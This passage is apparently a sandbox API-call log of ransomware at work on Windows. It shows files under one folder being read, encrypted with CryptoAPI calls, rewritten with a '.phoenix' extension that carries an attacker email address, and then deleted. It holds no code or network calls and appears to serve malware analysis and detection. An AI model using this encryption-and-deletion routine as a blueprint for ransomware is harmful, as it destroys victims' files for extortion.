	[0063.947] CryptSetKeyParam (hKey=0xbaa288, dwParam=0x1, pbData=0x34cf830, dwFlags=0x0) returned 1
	[0063.947] CryptEncrypt (in: hKey=0xbaa288, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3a32020*, pdwDataLen=0x34cf748*=0x40, dwBufLen=0x40 | out: pbData=0x3a32020*, pdwDataLen=0x34cf748*=0x40) returned 1
	[0063.947] CryptDestroyKey (hKey=0xbaa288) returned 1
	[0063.947] WriteFile (in: hFile=0x324, lpBuffer=0x3a32020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x34cf790, lpOverlapped=0x0 | out: lpBuffer=0x3a32020*, lpNumberOfBytesWritten=0x34cf790*=0xf2, lpOverlapped=0x0) returned 1
	[0063.948] CryptDestroyKey (hKey=0xbaa5c8) returned 1
	[0063.948] CloseHandle (hObject=0x320) returned 1
	[0063.948] CloseHandle (hObject=0x324) returned 1
	[0063.949] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1031\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1031\\eula.rtf")) returned 1
	[0063.950] CryptGenRandom (in: hProv=0xb8f0f8, dwLen=0x10, pbBuffer=0x34cf830 | out: pbBuffer=0x34cf830) returned 1
	[0063.950] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1032\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1032\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324
	[0063.951] GetFileSizeEx (in: hFile=0x324, lpFileSize=0x34cf7d0 | out: lpFileSize=0x34cf7d0*=86284) returned 1
	[0063.951] CloseHandle (hObject=0x324) returned 1
	[0063.951] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1032\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1032\\localizeddata.xml")) returned 0x80
	[0063.951] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1032\\LocalizedData.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\588bce7c90097ed212\\1032\\localizeddata.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0063.951] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1032\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1032\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324
	[0063.951] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cf770 | out: lpNewFilePointer=0x0) returned 1
	[0063.951] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cf770 | out: lpNewFilePointer=0x0) returned 1
	[0063.951] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1032\\LocalizedData.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\588bce7c90097ed212\\1032\\localizeddata.xml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320
	[0063.951] CryptImportKey (in: hProv=0xb8f0f8, pbData=0x34cf728, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x34cf784 | out: phKey=0x34cf784*=0xbaa208) returned 1
	[0063.951] CryptSetKeyParam (hKey=0xbaa208, dwParam=0x1, pbData=0x34cf830, dwFlags=0x0) returned 1
	[0063.952] ReadFile (in: hFile=0x324, lpBuffer=0x3a32020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x34cf7ac, lpOverlapped=0x0 | out: lpBuffer=0x3a32020*, lpNumberOfBytesRead=0x34cf7ac*=0x1510c, lpOverlapped=0x0) returned 1
	[0063.990] CryptEncrypt (in: hKey=0xbaa208, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3a32020*, pdwDataLen=0x34cf748*=0x15110, dwBufLen=0x15110 | out: pbData=0x3a32020*, pdwDataLen=0x34cf748*=0x15110) returned 1
	[0063.990] WriteFile (in: hFile=0x320, lpBuffer=0x3a32020*, nNumberOfBytesToWrite=0x15110, lpNumberOfBytesWritten=0x34cf790, lpOverlapped=0x0 | out: lpBuffer=0x3a32020*, lpNumberOfBytesWritten=0x34cf790*=0x15110, lpOverlapped=0x0) returned 1
	[0064.062] CryptImportKey (in: hProv=0xb8f0f8, pbData=0x34cf71c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x34cf788 | out: phKey=0x34cf788*=0xbaa608) returned 1
	[0064.062] CryptSetKeyParam (hKey=0xbaa608, dwParam=0x1, pbData=0x34cf830, dwFlags=0x0) returned 1
	[0064.062] CryptEncrypt (in: hKey=0xbaa608, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3a32020*, pdwDataLen=0x34cf748*=0x50, dwBufLen=0x50 | out: pbData=0x3a32020*, pdwDataLen=0x34cf748*=0x50) returned 1
	[0064.062] CryptDestroyKey (hKey=0xbaa608) returned 1
	[0064.062] WriteFile (in: hFile=0x320, lpBuffer=0x3a32020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x34cf790, lpOverlapped=0x0 | out: lpBuffer=0x3a32020*, lpNumberOfBytesWritten=0x34cf790*=0x102, lpOverlapped=0x0) returned 1
	[0064.063] CryptDestroyKey (hKey=0xbaa208) returned 1
	[0064.063] CloseHandle (hObject=0x324) returned 1
	[0064.063] CloseHandle (hObject=0x320) returned 1
	[0064.065] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1032\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1032\\localizeddata.xml")) returned 1
	[0064.067] CryptGenRandom (in: hProv=0xb8f0f8, dwLen=0x10, pbBuffer=0x34cf830 | out: pbBuffer=0x34cf830) returned 1
	[0064.067] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1033\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1033\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320
	[0064.067] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x34cf7d0 | out: lpFileSize=0x34cf7d0*=3188) returned 1
	[0064.067] CloseHandle (hObject=0x320) returned 1
	[0064.067] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1033\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1033\\eula.rtf")) returned 0x80
	[0064.067] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1033\\eula.rtf.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\588bce7c90097ed212\\1033\\eula.rtf.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0064.068] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1033\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1033\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320
	[0064.068] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cf770 | out: lpNewFilePointer=0x0) returned 1
	[0064.068] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cf770 | out: lpNewFilePointer=0x0) returned 1
	[0064.068] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1033\\eula.rtf.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\588bce7c90097ed212\\1033\\eula.rtf.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324
	[0064.068] CryptImportKey (in: hProv=0xb8f0f8, pbData=0x34cf728, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x34cf784 | out: phKey=0x34cf784*=0xbaa688) returned 1
	[0064.068] CryptSetKeyParam (hKey=0xbaa688, dwParam=0x1, pbData=0x34cf830, dwFlags=0x0) returned 1
	[0064.068] ReadFile (in: hFile=0x320, lpBuffer=0x3a32020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x34cf7ac, lpOverlapped=0x0 | out: lpBuffer=0x3a32020*, lpNumberOfBytesRead=0x34cf7ac*=0xc74, lpOverlapped=0x0) returned 1
	[0064.161] CryptEncrypt (in: hKey=0xbaa688, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3a32020*, pdwDataLen=0x34cf748*=0xc80, dwBufLen=0xc80 | out: pbData=0x3a32020*, pdwDataLen=0x34cf748*=0xc80) returned 1
	[0064.161] WriteFile (in: hFile=0x324, lpBuffer=0x3a32020*, nNumberOfBytesToWrite=0xc80, lpNumberOfBytesWritten=0x34cf790, lpOverlapped=0x0 | out: lpBuffer=0x3a32020*, lpNumberOfBytesWritten=0x34cf790*=0xc80, lpOverlapped=0x0) returned 1
	[0064.162] CryptImportKey (in: hProv=0xb8f0f8, pbData=0x34cf71c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x34cf788 | out: phKey=0x34cf788*=0xbaa608) returned 1
	[0064.162] CryptSetKeyParam (hKey=0xbaa608, dwParam=0x1, pbData=0x34cf830, dwFlags=0x0) returned 1
	[0064.162] CryptEncrypt (in: hKey=0xbaa608, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3a32020*, pdwDataLen=0x34cf748*=0x40, dwBufLen=0x40 | out: pbData=0x3a32020*, pdwDataLen=0x34cf748*=0x40) returned 1
	[0064.162] CryptDestroyKey (hKey=0xbaa608) returned 1
	[0064.162] WriteFile (in: hFile=0x324, lpBuffer=0x3a32020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x34cf790, lpOverlapped=0x0 | out: lpBuffer=0x3a32020*, lpNumberOfBytesWritten=0x34cf790*=0xf2, lpOverlapped=0x0) returned 1
	[0064.162] CryptDestroyKey (hKey=0xbaa688) returned 1
	[0064.162] CloseHandle (hObject=0x320) returned 1
	[0064.162] CloseHandle (hObject=0x324) returned 1
	[0064.164] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1033\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1033\\eula.rtf")) returned 1
	[0064.261] CryptGenRandom (in: hProv=0xb8f0f8, dwLen=0x10, pbBuffer=0x34cf830 | out: pbBuffer=0x34cf830) returned 1
	[0064.261] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1035\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1035\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328
	[0064.262] GetFileSizeEx (in: hFile=0x328, lpFileSize=0x34cf7d0 | out: lpFileSize=0x34cf7d0*=77022) returned 1
	[0064.262] CloseHandle (hObject=0x328) returned 1
	[0064.262] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1035\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1035\\localizeddata.xml")) returned 0x80
	[0064.262] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1035\\LocalizedData.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\588bce7c90097ed212\\1035\\localizeddata.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0064.262] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1035\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1035\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328
	[0064.262] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cf770 | out: lpNewFilePointer=0x0) returned 1
	[0064.262] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cf770 | out: lpNewFilePointer=0x0) returned 1
	[0064.262] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1035\\LocalizedData.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\588bce7c90097ed212\\1035\\localizeddata.xml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310
	[0064.262] CryptImportKey (in: hProv=0xb8f0f8, pbData=0x34cf728, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x34cf784 | out: phKey=0x34cf784*=0xbaa648) returned 1
	[0064.263] CryptSetKeyParam (hKey=0xbaa648, dwParam=0x1, pbData=0x34cf830, dwFlags=0x0) returned 1
	[0064.263] ReadFile (in: hFile=0x328, lpBuffer=0x3a32020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x34cf7ac, lpOverlapped=0x0 | out: lpBuffer=0x3a32020*, lpNumberOfBytesRead=0x34cf7ac*=0x12cde, lpOverlapped=0x0) returned 1
	[0064.397] CryptEncrypt (in: hKey=0xbaa648, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3a32020*, pdwDataLen=0x34cf748*=0x12ce0, dwBufLen=0x12ce0 | out: pbData=0x3a32020*, pdwDataLen=0x34cf748*=0x12ce0) returned 1
	[0064.398] WriteFile (in: hFile=0x310, lpBuffer=0x3a32020*, nNumberOfBytesToWrite=0x12ce0, lpNumberOfBytesWritten=0x34cf790, lpOverlapped=0x0 | out: lpBuffer=0x3a32020*, lpNumberOfBytesWritten=0x34cf790*=0x12ce0, lpOverlapped=0x0) returned 1
	[0064.400] CryptImportKey (in: hProv=0xb8f0f8, pbData=0x34cf71c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x34cf788 | out: phKey=0x34cf788*=0xbaa388) returned 1
	[0064.400] CryptSetKeyParam (hKey=0xbaa388, dwParam=0x1, pbData=0x34cf830, dwFlags=0x0) returned 1
	[0064.400] CryptEncrypt (in: hKey=0xbaa388, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3a32020*, pdwDataLen=0x34cf748*=0x50, dwBufLen=0x50 | out: pbData=0x3a32020*, pdwDataLen=0x34cf748*=0x50) returned 1
	[0064.400] CryptDestroyKey (hKey=0xbaa388) returned 1
	[0064.400] WriteFile (in: hFile=0x310, lpBuffer=0x3a32020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x34cf790, lpOverlapped=0x0 | out: lpBuffer=0x3a32020*, lpNumberOfBytesWritten=0x34cf790*=0x102, lpOverlapped=0x0) returned 1
	[0064.400] CryptDestroyKey (hKey=0xbaa648) returned 1
	[0064.400] CloseHandle (hObject=0x328) returned 1
	[0064.400] CloseHandle (hObject=0x310) returned 1
	[0064.403] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1035\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1035\\localizeddata.xml")) returned 1
	[0064.405] CryptGenRandom (in: hProv=0xb8f0f8, dwLen=0x10, pbBuffer=0x34cf830 | out: pbBuffer=0x34cf830) returned 1
	[0064.405] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1037\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1037\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310
	[0064.405] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x34cf7d0 | out: lpFileSize=0x34cf7d0*=6851) returned 1
	[0064.405] CloseHandle (hObject=0x310) returned 1
	[0064.405] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1037\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1037\\eula.rtf")) returned 0x80
	[0064.405] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1037\\eula.rtf.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\588bce7c90097ed212\\1037\\eula.rtf.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0064.405] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1037\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1037\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310
	[0064.405] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cf770 | out: lpNewFilePointer=0x0) returned 1
	[0064.405] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cf770 | out: lpNewFilePointer=0x0) returned 1
	[0064.406] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1037\\eula.rtf.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\588bce7c90097ed212\\1037\\eula.rtf.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328
	[0064.406] CryptImportKey (in: hProv=0xb8f0f8, pbData=0x34cf728, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x34cf784 | out: phKey=0x34cf784*=0xbaa908) returned 1
	[0064.406] CryptSetKeyParam (hKey=0xbaa908, dwParam=0x1, pbData=0x34cf830, dwFlags=0x0) returned 1
	[0064.406] ReadFile (in: hFile=0x310, lpBuffer=0x3a32020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x34cf7ac, lpOverlapped=0x0 | out: lpBuffer=0x3a32020*, lpNumberOfBytesRead=0x34cf7ac*=0x1ac3, lpOverlapped=0x0) returned 1
	[0064.444] CryptEncrypt (in: hKey=0xbaa908, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3a32020*, pdwDataLen=0x34cf748*=0x1ad0, dwBufLen=0x1ad0 | out: pbData=0x3a32020*, pdwDataLen=0x34cf748*=0x1ad0) returned 1
	[0064.444] WriteFile (in: hFile=0x328, lpBuffer=0x3a32020*, nNumberOfBytesToWrite=0x1ad0, lpNumberOfBytesWritten=0x34cf790, lpOverlapped=0x0 | out: lpBuffer=0x3a32020*, lpNumberOfBytesWritten=0x34cf790*=0x1ad0, lpOverlapped=0x0) returned 1
	[0064.446] CryptImportKey (in: hProv=0xb8f0f8, pbData=0x34cf71c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x34cf788 | out: phKey=0x34cf788*=0xbaa608) returned 1
	[0064.446] CryptSetKeyParam (hKey=0xbaa608, dwParam=0x1, pbData=0x34cf830, dwFlags=0x0) returned 1
	[0064.446] CryptEncrypt (in: hKey=0xbaa608, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3a32020*, pdwDataLen=0x34cf748*=0x40, dwBufLen=0x40 | out: pbData=0x3a32020*, pdwDataLen=0x34cf748*=0x40) returned 1
	[0064.446] CryptDestroyKey (hKey=0xbaa608) returned 1
	[0064.446] WriteFile (in: hFile=0x328, lpBuffer=0x3a32020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x34cf790, lpOverlapped=0x0 | out: lpBuffer=0x3a32020*, lpNumberOfBytesWritten=0x34cf790*=0xf2, lpOverlapped=0x0) returned 1
	[0064.446] CryptDestroyKey (hKey=0xbaa908) returned 1
	[0064.446] CloseHandle (hObject=0x310) returned 1
	[0064.446] CloseHandle (hObject=0x328) returned 1
	[0064.452] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1037\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1037\\eula.rtf")) returned 1
	[0064.454] CryptGenRandom (in: hProv=0xb8f0f8, dwLen=0x10, pbBuffer=0x34cf830 | out: pbBuffer=0x34cf830) returned 1
	[0064.454] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1038\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1038\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328
	[0064.454] GetFileSizeEx (in: hFile=0x328, lpFileSize=0x34cf7d0 | out: lpFileSize=0x34cf7d0*=4254) returned 1
	[0064.454] CloseHandle (hObject=0x328) returned 1
	[0064.455] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1038\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1038\\eula.rtf")) returned 0x80
	[0064.455] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1038\\eula.rtf.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\588bce7c90097ed212\\1038\\eula.rtf.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0064.455] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1038\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1038\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328
	[0064.455] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cf770 | out: lpNewFilePointer=0x0) returned 1
	[0064.455] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cf770 | out: lpNewFilePointer=0x0) returned 1
	[0064.455] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1038\\eula.rtf.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\588bce7c90097ed212\\1038\\eula.rtf.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310
	[0064.455] CryptImportKey (in: hProv=0xb8f0f8, pbData=0x34cf728, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x34cf784 | out: phKey=0x34cf784*=0xbaa508) returned 1
	[0064.456] CryptSetKeyParam (hKey=0xbaa508, dwParam=0x1, pbData=0x34cf830, dwFlags=0x0) returned 1
	[0064.456] ReadFile (in: hFile=0x328, lpBuffer=0x3a32020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x34cf7ac, lpOverlapped=0x0 | out: lpBuffer=0x3a32020*, lpNumberOfBytesRead=0x34cf7ac*=0x109e, lpOverlapped=0x0) returned 1
	[0064.480] CryptEncrypt (in: hKey=0xbaa508, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3a32020*, pdwDataLen=0x34cf748*=0x10a0, dwBufLen=0x10a0 | out: pbData=0x3a32020*, pdwDataLen=0x34cf748*=0x10a0) returned 1
	[0064.480] WriteFile (in: hFile=0x310, lpBuffer=0x3a32020*, nNumberOfBytesToWrite=0x10a0, lpNumberOfBytesWritten=0x34cf790, lpOverlapped=0x0 | out: lpBuffer=0x3a32020*, lpNumberOfBytesWritten=0x34cf790*=0x10a0, lpOverlapped=0x0) returned 1
	[0064.483] CryptImportKey (in: hProv=0xb8f0f8, pbData=0x34cf71c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x34cf788 | out: phKey=0x34cf788*=0xbaa488) returned 1
	[0064.483] CryptSetKeyParam (hKey=0xbaa488, dwParam=0x1, pbData=0x34cf830, dwFlags=0x0) returned 1
	[0064.483] CryptEncrypt (in: hKey=0xbaa488, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3a32020*, pdwDataLen=0x34cf748*=0x40, dwBufLen=0x40 | out: pbData=0x3a32020*, pdwDataLen=0x34cf748*=0x40) returned 1
	[0064.483] CryptDestroyKey (hKey=0xbaa488) returned 1
	[0064.483] WriteFile (in: hFile=0x310, lpBuffer=0x3a32020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x34cf790, lpOverlapped=0x0 | out: lpBuffer=0x3a32020*, lpNumberOfBytesWritten=0x34cf790*=0xf2, lpOverlapped=0x0) returned 1
	[0064.483] CryptDestroyKey (hKey=0xbaa508) returned 1
	[0064.483] CloseHandle (hObject=0x328) returned 1
	[0064.483] CloseHandle (hObject=0x310) returned 1
	[0064.486] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1038\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1038\\eula.rtf")) returned 1
	[0064.488] CryptGenRandom (in: hProv=0xb8f0f8, dwLen=0x10, pbBuffer=0x34cf830 | out: pbBuffer=0x34cf830) returned 1
	[0064.488] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1038\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1038\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310
	[0064.488] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x34cf7d0 | out: lpFileSize=0x34cf7d0*=86442) returned 1
	[0064.488] CloseHandle (hObject=0x310) returned 1
	[0064.488] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1038\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1038\\localizeddata.xml")) returned 0x80
	[0064.488] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1038\\LocalizedData.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\588bce7c90097ed212\\1038\\localizeddata.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0064.488] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1038\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1038\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310
	[0064.489] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cf770 | out: lpNewFilePointer=0x0) returned 1
	[0064.489] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cf770 | out: lpNewFilePointer=0x0) returned 1
	[0064.489] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1038\\LocalizedData.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\588bce7c90097ed212\\1038\\localizeddata.xml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328
	[0064.489] CryptImportKey (in: hProv=0xb8f0f8, pbData=0x34cf728, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x34cf784 | out: phKey=0x34cf784*=0xbaa508) returned 1
	[0064.489] CryptSetKeyParam (hKey=0xbaa508, dwParam=0x1, pbData=0x34cf830, dwFlags=0x0) returned 1
	[0064.489] ReadFile (in: hFile=0x310, lpBuffer=0x3a32020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x34cf7ac, lpOverlapped=0x0 | out: lpBuffer=0x3a32020*, lpNumberOfBytesRead=0x34cf7ac*=0x151aa, lpOverlapped=0x0) returned 1
	[0064.507] CryptEncrypt (in: hKey=0xbaa508, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3a32020*, pdwDataLen=0x34cf748*=0x151b0, dwBufLen=0x151b0 | out: pbData=0x3a32020*, pdwDataLen=0x34cf748*=0x151b0) returned 1
	[0064.507] WriteFile (in: hFile=0x328, lpBuffer=0x3a32020*, nNumberOfBytesToWrite=0x151b0, lpNumberOfBytesWritten=0x34cf790, lpOverlapped=0x0 | out: lpBuffer=0x3a32020*, lpNumberOfBytesWritten=0x34cf790*=0x151b0, lpOverlapped=0x0) returned 1
